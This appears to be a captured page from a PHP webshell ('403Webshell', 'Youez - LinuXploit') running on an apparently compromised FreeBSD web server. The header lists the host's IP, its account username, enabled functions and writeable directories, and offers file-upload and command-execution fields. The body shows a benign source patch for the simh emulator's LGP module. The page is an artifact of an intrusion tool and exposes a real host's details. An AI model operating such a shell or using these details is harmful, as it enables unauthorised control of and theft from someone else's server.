403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/emulators/simh/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/emulators/simh/files/patch-LGP_lgp__sys.c
--- LGP/lgp_sys.c.orig	2016-12-01 22:43:42 UTC
+++ LGP/lgp_sys.c
@@ -363,7 +363,7 @@ if ((sw & SWMASK ('L')) ||              
             return SCPE_OK;
         if (islower (c))
             c = toupper (c);
-        if (tptr = strchr (hex_decode, c))
+        if ((tptr = strchr (hex_decode, c)))
             val[0] = (val[0] << 4) | (tptr - hex_decode);
         else return SCPE_ARG;
         }
@@ -388,7 +388,7 @@ else sgn = 0;
 cptr = get_glyph (cptr, gbuf, 0);                       /* get opcode */
 if (gbuf[1] != 0)
     return SCPE_ARG;
-if (tptr = strchr (opcode, gbuf[0]))
+if ((tptr = strchr (opcode, gbuf[0])))
     val[0] = ((tptr - opcode) << I_V_OP) | sgn;         /* merge opcode */
 else return SCPE_ARG;
 cptr = get_glyph (cptr, gbuf, 0);                       /* get address */

Youez - 2016 - github.com/yon3zu
LinuXploit